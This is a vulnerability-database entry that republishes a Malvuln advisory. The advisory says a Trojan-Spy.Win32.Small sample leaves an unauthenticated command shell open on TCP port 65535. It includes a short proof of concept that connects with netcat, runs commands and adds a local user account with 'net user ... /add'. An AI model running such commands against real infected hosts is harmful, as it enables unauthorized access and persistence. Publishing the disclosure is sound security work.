GCVE-1988-2026-0236
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
Trojan-Spy.Win32.Small / Remote Command Execution
Summary
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026
Original source:
https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt
Malvuln Intelligence Feed: https://intel.malvuln.com/
Contact: malvuln13 () gmail com
Media: x.com/malvuln
Threat: Trojan-Spy.Win32.Small
Vulnerability: Remote Command Execution
Description: The malware opens a listener on TCP port 65535, allowing
unauthenticated remote attackers with network access to execute
arbitrary operating system commands on the infected host.
Family: Small
Type: PE32
Attack-pattern TTP: Command and Scripting Interpreter (T1059)
MD5: 8c15ec5f0137d097a345b693f0bffedb
SHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b
Vuln ID: MVID-2026-0705
Disclosure: 04/20/2026
Exploit/PoC:
nc64.exe x.x.x.x 65535
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\victim\Desktop>whoami
whoami
desktop-2c3iqho\victim
calc
C:\>net user hubert abc123 /add
net user hubert abc123 /add
The command completed successfully.
exit
Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | Trojan-Spy.Win32.Small / |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Trojan-Spy.Win32.Small /",
"vendor": "unknown",
"versions": [
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"version": "unknown"
}
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"credits": [
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"descriptions": [
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}
],
"providerMetadata": {
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{
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"url": "https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt"
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{
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"source": {
"defect": [
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],
"discovery": "EXTERNAL"
},
"title": "Trojan-Spy.Win32.Small / Remote Command Execution",
"x_gcve": [
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"relationships": [],
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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